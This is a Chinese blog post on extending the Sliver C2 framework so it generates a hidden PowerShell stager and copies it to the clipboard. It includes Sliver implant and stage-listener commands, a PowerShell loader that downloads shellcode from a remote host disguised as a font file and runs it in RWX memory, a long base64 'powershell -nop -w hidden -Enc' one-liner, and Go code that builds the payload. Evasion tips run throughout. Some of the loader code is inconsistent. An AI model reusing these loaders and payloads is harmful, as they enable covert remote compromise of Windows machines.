接着二开sliver，给他添加一个生成powershell payload上线的功能，生成并复制到剪切板。
准备
首先，先开启监听，不多说直接mtls默认的就行，sliver可以生成配置文件来实现暂存，这里禁用了混淆，不然真的要很久，而且用garble反而会更容易被查杀。
Karlin » profiles new --mtls karplin.space --skip-symbols --format shellcode --arch amd64 test
[*] Saved new implant profile test
Karlin » profiles
Profile Name Implant Type Platform Command & Control Debug Format Obfuscation Limitations
============<span style="font-weight: bold;" class="mark"> </span>==========<span style="font-weight: bold;" class="mark"> </span>===========<span style="font-weight: bold;" class="mark"> </span>===========================<span style="font-weight: bold;" class="mark"> </span>===<span style="font-weight: bold;" class="mark"> </span>=======<span style="font-weight: bold;" class="mark"> </span>=========<span style="font-weight: bold;" class="mark"> </span>===========
test session windows/amd64 [1] mtls://karplin.space:8888 false SHELLCODE disabled
Karlin »
然后就是指定profile来启动stager监听器，端口就随意一个空闲的。如果没有提前生成一个implant的话他会自动生成一个。
stage-listener --url http://karplin.space:9999 --profile test
如果要自己生成stager的话：
generate stager --lhost karplin.space --lport 8443 --arch amd64 --format c
下载下来看看，这里也要进行修改，默认的文件名、后缀的特征太明显了。
lockly@karplin ~/temp » wget http://localhost:9999/fontawesome.woff
--2023-12-24 23:55:03-- http://localhost:9999/fontawesome.woff
Resolving localhost (localhost)... 127.0.0.1
Connecting to localhost (localhost)|127.0.0.1|:9999... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/octet-stream]
Saving to: ‘fontawesome.woff’
fontawesome.woff [ <=> ] 9.54M --.-KB/s in 0.01s
2023-12-24 23:55:03 (657 MB/s) - ‘fontawesome.woff’ saved [10003676]
lockly@karplin ~/temp » cat fontawesome.woff | xxd | head -n 10
00000000: 4883 e4f0 4883 c408 e880 7b98 0080 7b98 H...H.....{...{.
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0000 00a0 52d2 ..............R.
00000040: 55f6 a322 83f7 9a15 705a 2f9a 5f79 dfc1 U.."....pZ/._y..
00000050: 770f 2eec ec6a 8303 2a8e 2e62 52c4 bc7b w....j..*..bR..{
00000060: 8783 94f9 a076 f752 bdbb deb3 a6f4 163e .....v.R.......>
00000070: e818 6320 e0ef 7d07 017e 7c40 298f ccd6 ..c ..}..~|@)...
00000080: a885 66d4 b2e5 9791 adb2 af28 3d0b 41fb ..f........(=.A.
00000090: af1a 655f c433 79d1 d763 8a8d a8e4 9cc1 ..e_.3y..c......
在官方 Sliver 文档：HTTPS C2 中有提到可以更改配置文件，在~/.sliver/configs/http-c2.json这里进行配置，这个后续修改流量特征的时候继续深入。
测试
用powershell下载并加载shellcode到内存，直接创建线程不够隐蔽，这就用线程池了。API的调用也是用的反射来调用。但后续可以改进的点：
- 还可以写一些加密算法保护shellcode
- 变量和函数名称都要进行混淆
$class1 = 'using System;'
$class2 = 'using System.Runtime.InteropServices;'
$class3 = 'public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32", CharSet=CharSet.Ansi)]
public static extern IntPtr CreateThread(
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds);
}'
$Win32 = $class1 + $class2 + $class3
Add-Type $Win32
$sc = (New-Object System.Net.WebCLient).DownloadData("http://karplin.space:9999/fontawesome.woff")
if ($shellcode -eq $null) {Exit};
$size = $shellcode.Length
$VirtualAlloc = [Win32].GetMethod('VirtualAlloc')
$CreateThread = [Win32].GetMethod('CreateThread')
$WaitForSingleObject = [Win32].GetMethod('WaitForSingleObject')
[IntPtr]$addr = $VirtualAlloc.Invoke($null, @($size, 0x1000, 0x40))
[System.Runtime.InteropServices.Marshal]::Copy($sc, 0, $addr, $size)
$pool = [RunspaceFactory]::CreateRunspacePool(1,2)
$pool.Open()
$powershell = [PowerShell]::Create()
$powershell.RunspacePool = $pool
$powershell.AddScript({
param($addr)
}) > $null
$powershell.AddParameter('addr', $addr)
$powershell.BeginInvoke()
$handle = $powershell.BeginInvoke()
$WaitForSingleObject.Invoke($handle, 0xFFFFFFFF)
将代码写入文件，把他转换为UTF-16LE编码的base64字符串输出。
cat test.psl | iconv --to-code UTF-16LE | base64 -w 0 iconv
执行之后会因为-w参数隐藏起来。
powershell.exe -nop -w hidden -Enc JABXAGkAbgAzADIAIAA9ACAAQAAiAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFcAaQBuADMAMgAgAHsACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIAIgApAF0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsAAoAIAAgACAAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAKACAAIAAgACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAKACAAIAAgACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACwAIABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAEEAbgBzAGkAKQBdAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAAoAIAAgACAAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABBAHQAdAByAGkAYgB1AHQAZQBzACwACgAgACAAIAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAUABhAHIAYQBtAGUAdABlAHIALAAKACAAIAAgACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwACgAgACAAIAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEkAZAApADsACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACwAIABTAGUAdABMAGEAcwB0AEUAcgByAG8AcgA9AHQAcgB1AGUAKQBdAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAVQBJAG4AdAAzADIAIABXAGEAaQB0AEYAbwByAFMAaQBuAGcAbABlAE8AYgBqAGUAYwBA6AC8ALwBrAGEAcgBwAGwAaQBuAC4AcwBwAGEAYwBlADoAOQA5ADkAOQAvAGYAbwBuAHQAYQB3AGUAcwBvAG0AZQAuAHcAbwBmAGYAIgApAAoAaQBmACAAKAAkAHMAaABlAGwAbABjAG8AZABlACAALQBlAHEAIAAkAG4AdQBsAGwAKQAgAHsARQB4AGkAdAB9ADsACgAkAHMAaQB6AGUAIAA9ACAAJABzAGgAZQBsAGwAYwBvAGQAZQAuAEwAZQBuAGcAdABoAAoACgBbAEkAbgB0AFAAdAByAF0AJABhAGQAZAByACAAPQAgAFsAVwBpAG4AMwAyAF0AOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsACQAcwBpAHoAZQAsADAAeAAxADAAMAAwACwAMAB4ADQAMAApADsACgBbAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAcwBoAGEAbABdADoAOgBDAG8AcAB5ACgAJABzAGgAZQBsAGwAYwBvAGQAZQAsACAAMAAsACAAJABhAGQAZAByACwAIAAkAHMAaQB6AGUAKQAKACQAdABoAGEAbgBkAGwAZQA9AFsAVwBpAG4AMwAyAF0AOgA6AEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgAMAAsADAALAAkAGEAZABkAHIALAAwACwAMAAsADAAKQA7AAoAWwBXAGkAbgAzADIAXQA6ADoAVwBhAGkAdABGAG8AcgBTAGkAbgBnAGwAZQBPAGIAagBlAGMAdAAoACQAdABoAGEAbgBkAGwAZQAsACAAWwB1AGkAbgB0ADMAMgBdACIAMAB4AEYARgBGAEYARgBGAEYARgAiACkACgAKAA==
然后也是能够成功上线。
实现
主打快速完成功能，具体在client/command/jobs/stage.go，写一个函数用于生成payload：
func generatePowershell(h string) error {}
这里可以询问是否需要复制到剪切板：
confirm := false
prompt := &survey.Confirm{Message: "Generate powershell and copy it to clipboard?"}
survey.AskOne(prompt, &confirm)
if confirm {
// 继续下面的操作
}
用一个字符串变量存储powershell语句，然后将http://karplin.space:9999/fontawesome.woff替换成FinalUrl，这里要根据stage-listener进行替换，而这个值在StageListenerCmd中被解析了stagingURL, err := url.Parse(listenerURL)，所以就直接传入进行拼接替换即可。
format := `$class1 = 'using System;'
$class2 = 'using Sys......`
host := fmt.Sprintf("%s/fontawesome.woff", h)
out := strings.Replace(format, "FlagUrl", host, -1)
对于payload也不能明文，如上面说的可以写加密算法，我这简单实现图方便用base64b编码一下。先将uint64转换成一个byte类型的切片，再用base64编码：
utf16Bytes := utf16.Encode([]rune(out))
byteBytes := make([]byte, len(utf16Bytes)*2)
for i, v := range utf16Bytes {
byteBytes[i*2] = byte(v)
byteBytes[i*2+1] = byte(v >> 8)
}
base64Str := base64.StdEncoding.EncodeToString(byteBytes)
最终的payload就是powershell.exe -nop -w hidden -Enc加上上面的编码字符串。而关于操作剪切板使用了这个包"github.com/atotto/clipboard"
err := clipboard.WriteAll(final)
if err != nil {
return err
}
编译之前注意引包了要go mod vendor。同时因为这个包有一定的依赖，所以要下载以下工具，否则会这样报错No clipboard utilities available. Please install xsel, xclip, wl-clipboard or Termux:API add-on for termux-clipboard-get/set.
sudo apt install xsel xclip wl-clipboard
最后在StageListenerCmd中调用：
err := generatePowershell(fmt.Sprintf("http://%s", stagingURL.Host))
if err != nil {
con.PrintErrorf("Failed to copy payload to clipboard")
}
最终效果
可以成功复制到剪切板。
生成之后可以直接上线，但是powershell的窗口是会隐藏的，这里打开了展示一下。
TODO
-
powershell的加载方式有很多，最好添加了之后随机选择
-
混淆powershell，更隐蔽的执行